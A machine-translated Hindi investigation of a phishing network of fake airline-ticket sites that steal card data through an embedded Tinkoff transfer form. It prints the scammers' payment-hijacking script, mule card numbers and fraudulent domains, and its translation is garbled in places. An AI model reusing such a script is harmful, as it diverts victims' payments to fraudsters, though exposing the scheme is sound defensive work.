💑 🐊 👩🏼‍🎨 सस्ती उड़ानें ... या जालसाज वेबसाइटों का एक नेटवर्क कार्ड से पैसे चुरा रहा है। मेरी जांच 👷🏻 🥁 🔲

यह प्रकाशन धोखाधड़ी साइटों के पूरे नेटवर्क पर केंद्रित होगा जो लंबे समय से बैंक कार्ड की जानकारी चोरी करने और इन कार्डों से सभी उपलब्ध नकदी को वापस लेने के उद्देश्य से काम कर रहे थे। इस योजना में, प्रसिद्ध कंपनियों और बैंकों की सेवाओं का उपयोग विभिन्न चरणों में किया जाता है। जैसे कि यैंडेक्स (सर्च, डायरेक्ट, यैंडेक्समनी, कार्ड्स), प्रोमोस्वाज़बैंक, टिंकफ बैंक और, शायद, अन्य।

यह कहानी हाल ही में शुरू हुई। सिर्फ पांच दिन पहले, और यह कहा जा सकता है कि यह अभी खत्म नहीं हुआ है। मेरा एक मित्र मुझसे परामर्श के लिए यह पूछने लगा कि क्या यह संभव है कि किसी तरह "खराब साइट" बंद हो जाए ...

तो, क्या हुआ?

मेरा दोस्त टिकट खरीदना चाहता था और उसने फैसला किया कि ऐसा करने का सबसे आसान तरीका यांडेक्स से एक सवाल पूछना था। यांडेक्स ने एक निश्चित साइट के लिए पहले लिंक में से एक को "अनपा के लिए सबसे सस्ता टिकट" जैसे एक साधारण अनुरोध पर भेजा, जो बिना कमीशन के सस्ते टिकट खोजने और खरीदने का काम करता है। यह लिंक संभवतः शीर्ष विज्ञापन इकाई में था। लिंक के बाद, मेरे मित्र ने खुद को उपयुक्त टिकट पाया, एक आदेश दिया, और एक बैंक कार्ड का उपयोग करके भुगतान पृष्ठ पर गया ...

औसत व्यक्ति के लिए यह साइट, यदि आप विवरण में नहीं जाते हैं, तो टिकट की खोज के लिए पूरी तरह से साधारण साइट बन सकती है और संदेह का कारण नहीं बन सकता है। डोमेन _aviapromo.eu_

यह मुख्य पृष्ठ कैसा दिखता है। स्क्रीनशॉट को केवल फोन से बचाया गया था।

यह एक टिकट खोज है:

ऑर्डर दिया गया है :

यह भुगतान पृष्ठ है:

चित्रों में, मेरा परीक्षण क्रम, जो मैंने यह पता लगाने के लिए किया था कि यह साइट कैसे काम करती है।

मेरे दोस्त ने टिकट के लिए भुगतान किया। एसएमएस द्वारा भुगतान करते समय, 3 डी सिक्योर कन्फर्मेशन कोड आए, जो कि आमतौर पर होता है, इसी पेज पर ब्राउज़र में दर्ज किया जाना था। मेल द्वारा "रूट प्राप्तियां" प्राप्त करने और यह विश्वास करते हुए कि टिकट खरीदे गए थे, मेरे दोस्त अपने व्यवसाय के बारे में गए।

अगले दिन, फोन पर "समझ से बाहर एसएमएस" आना शुरू हुआ। सबसे पहले, एक एसएमएस को 2 रूबल की राशि के साथ डेबिट करने के लिए भेजा गया था, और उसी क्षण इन 2 रूबल कार्ड को "खरीद रद्द" नोट के साथ वापस कर दिया गया था। एक और 2 घंटे के बाद, 2 रूबल का एक असंगत लिखने और वापसी दोहराया गया था। और एक मिनट के बाद कुछ अविश्वसनीय शुरू हुआ। उन्होंने कार्ड से 17,700 रूबल काट लिए। एक और 10 मिनट के बाद, अतिरिक्त 17,700 रूबल लिखे गए। एक और 10 मिनट के बाद, उन्होंने 11800 रूबल से लिखने की कोशिश की । आखिरी ऑपरेशन सिर्फ इसलिए नहीं चला क्योंकि कार्ड पैसे से बाहर चला गया था। मुझे लगता है कि अगर कार्ड पर एक बड़ा संतुलन था, तो राइट-ऑफ हर 10 मिनट तक जारी रहेगा जब तक कि एक इनकार नहीं आया। वर्णित परिचालनों का इतिहास शीर्षक तस्वीर में स्पष्ट रूप से दिखाई देता है - यह Sberbank के एसएमएस का एक स्क्रीनशॉट है जो फोन पर आ रहा है।

पहला "अतुल्य एसएमएस 2 रूबल के बारे में" के समय, हालांकि यह संदिग्ध लग रहा था, कार्ड अवरुद्ध नहीं था। बाद के सभी शुल्क 20-30 मिनट के भीतर पूरे कर लिए गए। उस समय मेरा मित्र सार्वजनिक परिवहन में था। मैंने कार्ड ब्लॉक करने के लिए Sberbank तक पहुंचने की कोशिश की। लेकिन जैसा कि आमतौर पर होता है, बैंक ने वॉयस मेनू में बटन पुश करने की पेशकश की, और फिर लाइन में प्रतीक्षा करें। बैंक के कॉल सेंटर के माध्यम से कार्ड को जल्दी से ब्लॉक करने का काम नहीं किया। लेकिन स्मार्टफोन पर एप्लिकेशन, जिसके माध्यम से कार्ड को ब्लॉक करना भी संभव होगा, स्थापित नहीं किया गया था। कार्ड तब अवरुद्ध हो गया था, लेकिन बहुत देर हो चुकी थी - पैसा लीक हो गया था। अगले दिन, मेरे दोस्त ने सर्बैंक को एक बयान लिखा। वर्तमान में आवेदन विचाराधीन है। कार्ड फिर से जारी किया गया।

दो दिन बाद, जब कार्ड अवरुद्ध हो गया, तो कार्ड से 11800r चार्ज करने का प्रयास किया गया, और एक और दिन बाद एक और 23600 रूबल लिखने का नया प्रयास किया गया । यानी इससे एक बार फिर पुष्टि होती है कि घोटाले करने वालों के पास कोई ब्रेक नहीं था।

और मिठाई के लिए, इन सभी अप्रत्याशित लेखन के लिए, यह पता चला कि एयरलाइन में कोई कवच नहीं था और यह कभी नहीं था। यानी उड़ानें बुक नहीं की गईं। सब कुछ एक धोखा था और पैसा एक अज्ञात दिशा में चला गया।

परिणामस्वरूप, 47,377 रूबल की कुल राशि में कार्ड चुराया गया (भुगतान किए गए टिकट और बाद के डेबिट के लिए नुकसान)। और भी बहुत कुछ हो सकता है।

अब यह पता लगाने की कोशिश करें कि वास्तव में क्या हुआ था और एक कैच का पता लगाना कहां संभव था।

1. यूरोपीय संघ के क्षेत्र में एक डोमेन कम से कम सतर्क होना चाहिए था।

2. एयरलाइन टिकटों की खोज के अलावा, साइट में केवल कुछ पृष्ठ थे, जिसका उद्देश्य अलग होना था।

3. यदि आप गहरी खुदाई करते हैं, तो कंपनी PSRN पृष्ठ पर इंगित करती है, जो कंपनी से संबंधित है, जो 2011 में बंद हो गई थी। और रजिस्टर और वेबसाइट से निकालने में कंपनी का नाम मेल नहीं खाता है, साइट को आंशिक रूप से बदल दिया गया है। पीएसआरएन, टीआईएन और कानूनी संस्थाओं के नाम पर टैक्स कार्यालय के डेटाबेस egrul.nalog.ru पर जानकारी की जांच करें।

4. T & C साइट और PR की रेटिंग शून्य है (यह उन दुर्लभ मामलों में दिखाई देता है जब वेबमास्टर का पैनल या ऐसा ही कुछ ब्राउज़र में स्थापित होता है)।

5. मुख्य बात जो सचेत करनी चाहिए। कमीशन के बिना भुगतान होना चाहिए था, जैसा कि वेबसाइट पर दर्शाया गया है, प्रत्येक टिकट के लिए 5900, और नियुक्ति "राइट-ऑफ 5900.00 P2P PSBANK" बैंक से एसएमएस पर भेजी गई थी, और इन 5900 के भुगतान के बाद, एक एसएमएस ने कहा कि 5988.50 रूबल लिखे गए थे। "पी 2 पी" क्या है, निश्चित रूप से, हर कोई नहीं जानता है। कोई खोज सकता था। "पी 2 पी" एक कार्ड-टू-कार्ड ट्रांसफर सेवा है। और डेबिट की राशि भुगतान की राशि से अधिक है, क्योंकि जिस बैंक के माध्यम से भुगतान किया गया था वह इसके लिए एक कमीशन लेता है। यानी वास्तव में, एयरलाइन टिकट के लिए कथित रूप से भुगतान किया गया पैसा PSBANKa सेवा (Promsvyazbank) के माध्यम से किसी के बैंक कार्ड में स्थानांतरित कर दिया गया था। उसी समय, बैंक ने खरीदार को 3 डी सिक्योर वेरिफिकेशन कोड भेजा, जिसे खरीदार ने बिना सोचे समझे ब्राउज़र में दर्ज कर दिया।

6. यदि, कार्ड में स्थानांतरण के साथ, यह मेरे लिए स्पष्ट है कि कार्ड धारक को स्वयं 3 डी सिक्योर कोड दर्ज करने के लिए गुमराह किया गया था, तो बाद में 3 डी सिक्योरिटी की जांच किए बिना डेबिट करने से स्थिति मेरे लिए पूरी तरह से स्पष्ट नहीं है। मैं कभी भी ऐसी स्थिति में नहीं आया हूं जहां इंटरनेट पर Sberbank आपको 3D सिक्योरिटी (एसएमएस के माध्यम से पुष्टि के बिना) की जांच के बिना कुछ के लिए भुगतान करने की अनुमति देता है। एसएमएस का अनुरोध न करने पर एकमात्र अपवाद तब होता है जब फोन पर SberbankOnline मोबाइल एप्लिकेशन के माध्यम से संचालन किया जाता है। लेकिन फोन चोरी नहीं हुआ था और पर्सनल अकाउंट से डेटा चोरी नहीं हुआ था। जाहिर है, केवल मेरे मित्र के क्रेडिट कार्ड की जानकारी प्राप्त हुई थी। और, केवल कार्ड डेटा होने पर, Yandex.Direct (Yandex विज्ञापन नेटवर्क) के पक्ष में YM सेवा (Yandex.Money) का उपयोग करते समय पैसे पर बहस की गई थी।सुरक्षा प्रणाली में स्पष्ट रूप से किसी तरह की खामी है और सवाल यह है कि या तो सेर्बैंक या यांडेक्स के लिए उठता है, वे इसे कैसे करने की अनुमति देते हैं।

परिणाम एक धोखाधड़ी साइट के काम की लगभग निम्न तस्वीर है:

Yandex.Direct में विज्ञापन के माध्यम से साइट आगंतुकों को आकर्षित करती है। विज्ञापन के बिना, जारी करने के शीर्ष पर पहुंचने के लिए ऐसी साइटें लगभग असंभव हैं। साइट कुछ हद तक सामान्य साइटों के समान दिखती है। फ्लाइंग फ्लाइट्स और फ्री सीट्स शानदार हैं। इसके लिए, साइट आगंतुक के अनुरोध को स्वीकार करती है, उसे प्रतीक्षा करने के लिए कहती है, किसी अन्य साइट पर अनुरोध भेजती है जिसमें एयरलाइन टिकट पर वास्तविक डेटा है, अतिरिक्त प्राप्त प्रतिक्रिया से कट जाता है और तैयार जानकारी उसके पृष्ठ पर जारी की जाती है। यह संभव है कि कीमतों को थोड़ा समायोजित किया जाए (मैंने कीमतों की जांच नहीं की)। तब आगंतुक अपने डेटा को दर्ज करके एक आदेश देता है। कई अन्य टिकटिंग साइटों पर डेटा प्रविष्टि समान दिखती है। डेटा दर्ज करने और आदेश की पुष्टि करने के बाद, खरीदार को आदेश कोड के बारे में बताया जाता है और भुगतान करने के लिए 24 घंटे का समय दिया जाता है।भुगतान करते समय, पी 2 पी अनुवाद सेवा के साथ बैंकों में से एक का मूल पृष्ठ एक निश्चित तरीके से पुनर्निर्देशित किया जाता है (नीचे उस पर अधिक) और एक धोखाधड़ी वेबसाइट में एम्बेडेड है। एयरलाइन टिकट के "क्रेता", यदि वह पकड़ को नोटिस नहीं करता है, तो पैसे को कुछ विदेशी बैंक कार्ड में स्थानांतरित कर देता है। उसी समय, "खरीदार के" बैंक कार्ड का डेटा इंटरसेप्ट किया जाता है और बाद में डिबेटिंग के लिए उपयोग किया जाता है - उसी समय, कुछ Yandex.Direct खाते को बाद के विज्ञापन और नए पीड़ितों की खोज के लिए फिर से भर दिया जाता है। फिर सब कुछ एक सर्कल में समान है।उसी समय, "खरीदार के" बैंक कार्ड का डेटा इंटरसेप्ट किया जाता है और बाद में डिबेटिंग के लिए उपयोग किया जाता है - उसी समय, Yandex.Direct में कुछ खाते का खाता बाद के विज्ञापन और नए पीड़ितों की तलाश के लिए फिर से भर दिया जाता है। फिर सब कुछ एक सर्कल में समान है।उसी समय, "खरीदार के" बैंक कार्ड का डेटा इंटरसेप्ट किया जाता है और बाद में डिबेटिंग के लिए उपयोग किया जाता है - उसी समय, कुछ Yandex.Direct खाते को बाद के विज्ञापन और नए पीड़ितों की तलाश के लिए फिर से भर दिया जाता है। फिर सब कुछ एक सर्कल में समान है।

इस सारी कहानी के बाद, पुलिस को (विचाराधीन), Sberbank (विचाराधीन),

यैंडेक्स को, होस्टिंग प्रदाता को, आदि को लिखा गया था । फर्जी साइट को फर्स्ट वीडीएस होस्टिंग पर होस्ट किया गया था। एक विस्तृत विवरण के साथ मेरे बयान के अनुसार, धोखाधड़ी वाली साइट का खाता ब्लॉक कर दिया गया था। सच है, आधे दिन में वे फिर से अनब्लॉक हो गए। लेकिन दोहराया बयान के अनुसार वे फिर से अवरुद्ध हो गए (मुझे आशा है, हमेशा के लिए), इस तथ्य का जिक्र करते हुए कि प्रदाता के विभिन्न विभागों को समझा नहीं गया था। बेशक, यह एक पूर्ण ब्लॉक नहीं है - धोखेबाज होस्टिंग को बदल सकते हैं।

कम से कम एक छोटी और अस्थायी, लेकिन साइट के बंद होने के साथ जीत हासिल करने के बाद, एयरलाइन टिकट के मुद्दे को हल करना आवश्यक था। और क्या आश्चर्य की बात थी जब एक समान खोज क्वेरी पर, विज्ञापन इकाई की पहली पंक्ति पर यांडेक्स ने एक और साइट दी, जिसमें थोड़ा संशोधित डिज़ाइन था, लेकिन लगभग एक ही कार्यक्षमता और एक समान इंजन था। इसका उद्देश्य आगंतुकों को धोखा देना, पैसे और क्रेडिट कार्ड की जानकारी को चोरी करना है। यानी एक साइट के गला घोंटने के बाद, एक नई साइट तुरंत दिखाई देती है (अधिक सटीक रूप से, यह पहले काम करती है, यह सिर्फ इतना है कि सभी अभी विज्ञापन में नहीं आते हैं)। "एयरलाइन टिकटों की कथित बिक्री" के लिए अन्य साइट का पता _avia-scanners.ru_ है। यदि यैंडेक्स के प्रतिनिधि जांचना चाहते हैं, तो यहां से Yandex.Direct (जिसमें विज्ञापनदाता की पहचानकर्ता है) का पूरा लिंक है।

_http://avia-scanners.ru/?utm_source=yandex&utm_medium=cpc&utm_campaign=21628812&utm_content=2877643372&utm_term=%D0%B0%D0%B2%D0%B8%D0%B0%D0%B1%D0%B8%D0%BB%D0%B5%D1%82%D1%8B%20%D0%BF%D0%BE%20%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%B8%20%D0%B4%D0%B5%D1%88%D0%B5%D0%B2%D0%BE

यह तथ्य कि यह साइट कपटपूर्ण है, तुरंत देखा जा सकता है, यहां तक कि तकनीकी विवरणों में भी कटौती किए बिना - संकेतित टीआईएन मौजूद नहीं है, संकेतित ओजीआरएन मौजूद नहीं है, संकेतित कानूनी नाम मौजूद नहीं है, संकेतित मेलिंग पता मौजूद नहीं है, आदि। टीआईएन को आमतौर पर बारह अंकों की संख्या के साथ दर्शाया जाता है, जो केवल व्यक्तिगत उद्यमियों और व्यक्तियों के साथ होता है।

शीर्षक पृष्ठ पर वे चित्र हैं जो मोबाइल एप्लिकेशन के डाउनलोड पृष्ठों (AppStore, Google Play और Windows Phone स्टोर में) के लिए जाने चाहिए। लेकिन इन सभी तस्वीरों में मोबाइल एप्लिकेशन के लिंक नहीं हैं।

इस बार अधिक विस्तार से विश्लेषण करने का निर्णय लिया गया कि यह साइट उपयोगकर्ताओं को भुगतान पृष्ठ पर कैसे गुमराह करती है। तकनीक जटिल नहीं थी।

यह "एयरलाइन खोज" साइट पर भुगतान पृष्ठ की उपस्थिति है।

पेज का सोर्स कोड देखते हैं। हम विभिन्न लिपियों के साथ संदिग्ध फ़ोल्डर "... पी 2 पी ..." देखते हैं। इन लिपियों में, मुझे कुछ भी दिलचस्प नहीं मिला जो धन की चोरी से जुड़ा हो सकता है। मूल रूप से, सबसे अधिक संभावनाहीन बैंक स्क्रिप्ट थीं, जिनकी चर्चा नीचे की जाएगी।

लेकिन पृष्ठ का विहित पता हमारे लिए दिलचस्प है। हम यहाँ देखते हैं कि वास्तव में टिंकोव बैंक सेवा पृष्ठ (_www.tinkoff.ru/cardtocard/_) लगभग पूरी तरह से धोखाधड़ी वाली वेबसाइट में शामिल है। और यहाँ इफ्रेम का उपयोग नहीं किया जाता है। यहां, जब होस्टिंग प्रदाता के सर्वर पर इंटरमीडिएट प्रोसेसिंग का उपयोग किया जाता है, तो पृष्ठ को टिंकोव साइट से डाउनलोड किया जाता है, फिर इसे सर्वर पर संशोधित किया जाता है और लगभग पूरी तरह से छोटे "बोनस" के साथ रखा जाता है।

मेरा अनुमान था कि HTML कोड में एक छिपा हुआ DIV ब्लॉक, एक छिपा हुआ रूप, या कुछ समान होना चाहिए। और सबसे अधिक संभावना है कि इन छिपे हुए ब्लॉकों में से कुछ। और धारणा पक्की हो गई। हम ब्राउज़र F12 (वेब विकास के लिए उपकरण) में दबाते हैं। हमें छिपे हुए ब्लॉक की आवश्यकता है। हम इसके प्रदर्शन पर दाईं ओर के कॉलम में देखते हैं: कोई भी संपत्ति नहीं।

डिस्प्ले बंद करने के लिए चेकबॉक्स पर क्लिक करें: कोई भी संपत्ति और ... गुप्त स्पष्ट नहीं हो जाता है।
हम किसी अन्य व्यक्ति के क्रेडिट कार्ड की संख्या के साथ एक पूर्व-भरा हुआ फॉर्म देखते हैं, जिसे हमारा पैसा जाना चाहिए।

और यहाँ Tinkoff Bank का मूल पृष्ठ है। वास्तव में पसंद है? यानी क्या चल रहा है फॉर्म आंशिक रूप से भरा हुआ है। इस फॉर्म (एक प्राप्तकर्ता कार्ड के साथ एक ब्लॉक) से सब कुछ ज़रूरत से ज़्यादा छिपा हुआ है, कुछ हिस्सा भी छिपा नहीं हो सकता है, लेकिन सर्वर पर कट आउट हो जाएगा। और यह पृष्ठ, एक परिवर्तित रूप में, साइट आगंतुकों में फिसल जाता है, इस उम्मीद में कि उन्हें कुछ भी संदेह नहीं होगा।

और मिठाई के लिए, यहां पहले से भरे प्राप्तकर्ता के बैंक कार्ड नंबर के साथ स्रोत HTML कोड है।

और यहाँ कोड का एक और दिलचस्प टुकड़ा है।

नीचे पाठ के रूप में स्क्रिप्ट के साथ एक ही टुकड़ा:

चलो यह पता लगाने की कोशिश करें कि कोड में क्या हो रहा है।

कोड में प्राप्तकर्ता के कार्ड नंबर के साथ एक सरणी होती है। इन नंबरों को स्क्रिप्ट के साथ भुगतान फॉर्म में डाला जाता है। सैद्धांतिक रूप से, प्राप्तकर्ता के सात अलग-अलग कार्ड हो सकते हैं, और भुगतान करने के प्रत्येक असफल प्रयास के साथ, कार्ड नंबर को बदलना चाहिए। लेकिन, सात अलग-अलग संख्याओं के बजाय, एक ही संख्या को कई बार सेट किया जाता है। यानी यदि प्रयास विफल हो जाता है, तो अगला प्रयास उसी प्राप्तकर्ता कार्ड नंबर के साथ होगा।

और आदेश को सुनिश्चित करने के लिए, भुगतान करने के हर प्रयास के साथ, डेटा को इस धोखाधड़ी वेबसाइट पर एक पृष्ठ पर स्थानांतरित कर दिया जाता है, जो लेखांकन के लिए सब कुछ रिकॉर्ड करता है। शाम को, शायद, एक "एकाउंटेंट" आएगा और जर्नल प्रविष्टियों की जांच करेगा।

$("#card_number").on('blur', function () {
    $("#transfer__card_number").change();
});

function refr() {
    $("#transfer__card_number").change();
}

popitka = 0;
function addpay(title, status) {

    var newcards = [
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
    ];
    if (status == 0) {
        $('#card_number2').val(newcards[popitka]);
        $('#card_number2').change();
        popitka = popitka + 1;
    }

    $.ajax({
        url: 'http://avia-scanners.ru/addpay.php?sum=' + 3272 + '&status=' + status + '&title=' + title + '&code=lyyPt',
        success: function () {
            xhr.abort();
        }
    });
}

$(document).ready(function () {
    $("#card_number2").keyup();
    $('#card_number2').change();
});

हर बार जब आप भुगतान पृष्ठ पर जाते हैं (आप उदाहरण के लिए, विभिन्न ब्राउज़रों को आज़मा सकते हैं), तो भुगतानकर्ता के क्षेत्र में एक नया कार्ड नंबर दर्ज किया जाता है। यहां कार्ड की संख्या दी गई है, जिस पर स्कैमर्स आगंतुकों से एयरलाइन टिकट वेबसाइट पर चोरी करके पैसे निकालते थे। ये कार्ड निश्चित रूप से बहुत अधिक हैं। मैं उस मामले में नंबर लाता हूं जब कोई व्यक्ति लेख में रुचि रखता है और जांचना चाहता है ...

5106 2160 0313 4297
5106 2160 0408 7015
5106 2160 0310 8804

इन नक्शों में क्या समान है? यह सही है, प्रारंभिक अंक 5106 21 हैं ...

आइए बैंकों के बीआईएन संख्या के डेटाबेस को खोजने का प्रयास करें।
यहाँ इस तरह के एक दिलचस्प परिणाम है:
जारीकर्ता बैंक: YANDEX MONEY NBCI.LLC
कार्ड का प्रकार: मास्टरकार्ड

बेतरतीब ढंग से, जालसाज़ Yandex (Yandex.Direct), Yandex.Money मनी ट्रांसफर सेवा से विज्ञापन का उपयोग करते हैं और इसके अलावा, तीसरे पक्ष के बैंकों के माध्यम से, यैंडेक्स द्वारा जारी किए गए बैंक कार्डों के लिए धन वापस लेते हैं। बिल्कुल, यैंडेक्स इन धोखाधड़ी में शामिल नहीं है, लेकिन यैंडेक्स धोखाधड़ी वाले लेनदेन की संख्या को कम करने में बहुत मदद कर सकता है। शायद इसके लिए कुछ नियमों या विनियमों को बदलने की आवश्यकता है। मैंने यैंडेक्स को पत्र भी लिखा। उन्होंने जानकारी को स्वीकार किया, इसका निपटान कैसे करें, मुझे नहीं पता। वे मुझे धनराशि को अवरुद्ध करने में मदद नहीं कर सकते थे, लेकिन लिखा था, "आपके अनुरोध पर, हमने एक जांच की और सभी आवश्यक उपाय किए ..." धोखाधड़ी कार्यों के बारे में यांडेक्स समर्थन सेवा में मुझे क्या आश्चर्य हुआ - रात के साढ़े तीन बजे आप उन्हें एक पत्र लिखते हैं - के माध्यम से 10-15 मिनट एक जीवित व्यक्ति का जवाब आता है।

इंटरनेट पर मुझे मिली रिपोर्टों को देखते हुए, ये साइटें लंबे समय से काम कर रही हैं और पीड़ितों की संख्या बड़ी है। और अनुमान के मुताबिक, पीड़ितों की संख्या काफी हो सकती है। पीड़ितों के बारे में इंटरनेट पर एक साल पहले की खबरें हैं, और पांच दिन पहले एक फर्जी वेबसाइट पर पेड एयरलाइन टिकट के बारे में संदेश पोस्ट किए गए हैं, जिनके बारे में मैंने पहली छमाही में लिखा था।

लेकिन यह सब नहीं है। कई फर्जी एयरलाइन टिकट वेबसाइटों में एक चीज समान है जो विशिष्ट रूप से उन्हें एकजुट करती है और इंगित करती है कि वे एक ही समूह से संबंधित हैं। यहां मैं यह नहीं लिखूंगा कि यह किस तरह की विशेषता है, इसलिए हमलावरों की मदद करने के लिए नहीं। लेकिन यहाँ कुछ ही मिनटों में पाए जाने वाले इस समूह की कुछ धोखाधड़ी साइटें हैं: _avialex.ru_, _avia-kassa.ru.com_, _flyseven.ru_, _aviasalesdirectly.ru_, _avia-run.ru__, _aviasalle.com_।

इनमें से कुछ साइट पहले से ही अवरुद्ध हैं और विभिन्न ओटज़ोविक पर काली सूची में डाल दी गई हैं। सूची में अंतिम साइट अब बनी होने का दिखावा करती है। यह एक और साइट थी जो अपने बेहतरीन घंटे का इंतजार कर रही थी। यह FirstVDS होस्टिंग पर भी स्थित है। मेरे द्वारा इसे ब्लॉक करने के लिए कहने के बाद साइट अस्थायी रूप से फर्जी कार्यक्षमता को अक्षम कर देती है। इसलिए, जब तक यह अवरुद्ध था।

यानी हम देखते हैं कि यह एक बार का शिल्प नहीं है। धोखाधड़ी करने वाले सालों से एक सिद्ध योजना का उपयोग कर रहे हैं। विभिन्न क्षेत्रों में डोमेन का उपयोग किया जाता है, अलग-अलग होस्टिंग सेवाओं, कार्ड से कार्ड में स्थानान्तरण के लिए विभिन्न बैंकों की सेवाएं (टिंकोव और प्रोमस्वाज़बैंक को छोड़कर अन्य हो सकती हैं), बड़ी संख्या में कार्ड से पैसे निकाल लिए जाते हैं। यदि एक कार्ड से केवल 47 कार्ड आसानी से चुराए जा सकते हैं, तो कुल कितनी राशि में चोरी हो सकती है?

अपने हिस्से के लिए, मैंने बहुत से विभिन्न पत्र और कथन लिखे। लेकिन एक व्यक्ति के लिए पूरे नेटवर्क को हराना मुश्किल है, जब तक कि आप अपना 100% उस पर नहीं लगाते।

मुख्य बात यह है कि अपरिचित साइटों पर टिकटों का भुगतान करते समय सावधानी बरतें और फिर धोखेबाजों के लिए अधिक मुश्किल होगा।

यूडीपी।
_Avia-scanners.ru_ के बारे में मैंने प्रदाता को एक बयान नहीं लिखा था (इस साइट पर होस्टिंग sprinthost.ru पहले से अलग है)। इस साइट को छोड़ दिया गया था ताकि प्रकाशन के पाठक इसे विच्छेदित और अलग कर सकें। अब यह साइट काम नहीं कर रही है।

कुछ पाठक उसके साथ खेलने में कामयाब रहे। लेकिन अब यह उपलब्ध नहीं है। मुख्य पृष्ठ पर "निषिद्ध / आपके पास इस सर्वर तक पहुँचने / अनुमति नहीं है। Apia-scanners.ru पोर्ट 80 पर अपाचे / 2.4.17 सर्वर »

क्यों _avia-scanners.ru_ अनुपलब्ध हो गया, कोई सटीक जानकारी नहीं है। हो सकता है कि यह भार वहन न करे, हो सकता है कि प्रदाता के प्रतिनिधि ने लेख को पढ़ा हो और साइट को बंद कर दिया हो, हो सकता है कि TCS या Sberbank के प्रतिनिधियों ने लेख को पढ़ा हो और प्रदाता को लिखा हो, शायद यांडेक्स ने किसी तरह की मदद की, हो सकता है कि कुछ विधि एजेंसियों के प्रतिनिधियों या शायद इस साइट के व्यवस्थापक, एक नियमित geektimes और, लेख को पढ़ने के बाद, उन्होंने महसूस किया कि वह गलत था, और सुधार का रास्ता अपनाने का फैसला किया।

किसी भी स्थिति में, आपकी गतिविधि ने दूसरी फ़िशिंग साइट को बंद करने में मदद की। मुझे उम्मीद है कि यह संभावित एयरलाइन टिकट खरीदारों में से एक को

UDP2 (09/27/2016) के अप्रिय इतिहास से बचाने में मदद करेगा
जैसा कि मैंने लिखा था, साइटों की संख्या बहुत बड़ी हो सकती है। ट्राइटन को धन्यवाद, उन्होंने टिप्पणियों में तीन और नए समान धोखाधड़ी वाली साइटों _flying-avia.ru_, _scanner-ticket.ru_, _scanner-aero.ru_ की ओर संकेत किया। मुझे यकीन है कि निकट भविष्य में अन्य साइटों पर होगा या दिखाई देगा। इस प्रकाशन के निचले भाग में मैं एक सारांश तालिका रखूँगा। यदि कोई व्यक्ति ऐसी साइटें पाता है, तो मैं उनके बारे में इस तालिका में जानकारी जोड़ने के लिए तैयार हूं।

जबकि तीन पाए गए नए साइट काम कर रहे हैं और जिनके पास बंद होने से पहले पिछली साइटों को अलग करने का समय नहीं था, वे अब ऐसा कर सकते हैं। ये नई तीन साइटें लगभग उसी तरह से काम करती हैं, जैसा कि आर्टिकल _avia-scanners.ru_ में विश्लेषण किए गए पैटर्न के अनुसार होता है। न्यूनतम डिजाइन परिवर्तन, न्यूनतम संपर्क जानकारी परिवर्तन। नौ अंकों की टिन जैसी छोटी चीजों पर ध्यान नहीं दिया जाता है। उसी टिंचोव बैंक सेवा का उपयोग किया जाता है, जो स्क्रीनशॉट में बहुत स्पष्ट रूप से दिखाई देता है।

प्रकाशन लंबा था। इसलिए, कुछ नए स्क्रीनशॉट को स्पॉइलर के नीचे हटा दिया जाएगा।

चार नई साइटों के पहले पन्नों के स्क्रीनशॉट। हां, यह एक साइट नहीं है।

_scanner-ticket.ru_

_flying-avia.ru_

_scanner-aero.ru_

_aviasalle.com_

नई साइटों पर भुगतान पृष्ठ। TCS बैंक से समान P2P सेवा

_flying-avia.ru_,

_flying-avia.ru_, . «».

_scanner-ticket.ru_,

_scanner-aero.ru_,

निम्नलिखित क्रेडिट कार्ड नंबर नई तीन साइटों पर पाए गए, जिनसे स्कैमर्स फंड निकालते हैं:
5106 2160 0451 0834 को _flying-avia.ru_
5106 2160 0909 7977 on_scanner-ticket_
5106 2160 0451 0834 पर प्राप्त किया गया on_scanner-aero.ru_

दो तीन में से दो। ये साइटें एक ही कार्ड से धन निकालने की पेशकश करती हैं। इसके अलावा, ये दोनों साइटें, हालांकि एक ही होस्टिंग प्रदाता पर स्थित हैं, लेकिन अलग-अलग आईपी पर काम करती हैं (नीचे दी गई तालिका देखें)। और फिर से, यैंडेक्स द्वारा नए कार्ड जारी किए गए हैं। बैंक।

इसके अलावा, भुगतान करते समय नई साइटों पर, आपको दो भुगतान विधियों की पसंद की पेशकश की जाती है। पहला कार्ड के माध्यम से है, दूसरा टर्मिनलों के माध्यम से। पहले वर्णित साइटों पर, अगर मुझे कुछ भी याद नहीं था, तो टर्मिनल के माध्यम से "हवाई टिकट" के लिए भुगतान करना संभव नहीं था। आइए देखें कि टर्मिनल के माध्यम से भुगतान कैसे किया जाता है। विस्तृत निर्देश "टर्मिनल के माध्यम से भुगतान कैसे करें" साइटों पर पोस्ट किए गए हैं। निर्देश लंबे हैं, बिगाड़ने के तहत रखा गया है। इस मैनुअल में कोई चाल नहीं है। असंगत खरीदारों को बस टर्मिनल में आने और किसी के QIWI वॉलेट में पैसा लगाने के लिए आमंत्रित किया जाता है। वॉलेट फोन नंबर निर्देशों में इंगित किया गया है।

टर्मिनल के माध्यम से टिकट के लिए भुगतान करना। साइट _scanner-ticket_en पर निर्देश

हवाई टिकट धोखाधड़ी साइटें
_avialex.ru_		पुरालेख संबंधी
_avia-kassa.ru.com_		पुरालेख संबंधी
_flyseven.ru_		पुरालेख संबंधी
_aviasalesdirectly.ru_		पुरालेख संबंधी
_avia-run.ru_		पुरालेख संबंधी
_aviasalle.com_	FirstVDS प्रदाता	,
_aviapromo.eu_	FirstVDS	22.09.2016
_avia-scanners.ru_	Sprinthost, IP 141.8.195.50	geektimes 26.09.2016
_flying-avia.ru_	Sprinthost, IP 141.8.195.50	27.09.2016 geektimes
_scanner-ticket.ru_	Sprinthost, IP 141.8.195.50	27.09.2016 geektimes
_scanner-aero.ru_	Sprinthost, IP 141.8.195.138	27.09.2016 geektimes
_scaner-avia.ru_	Sprinthost, IP 141.8.195.138	27.09.2016 geektimes
_pilotavia.ru_	TheFirst-RU clients (WebDC Msk), IP 188.120.250.184	_aviapromo.eu_ geektimes 28.09.2016 — « »
_letofly.biz_		. _aviapromo.eu_, geektimes 29.09.2016 , . , .
_avia.netprosolution.co_		, , _aviapromo.eu_.

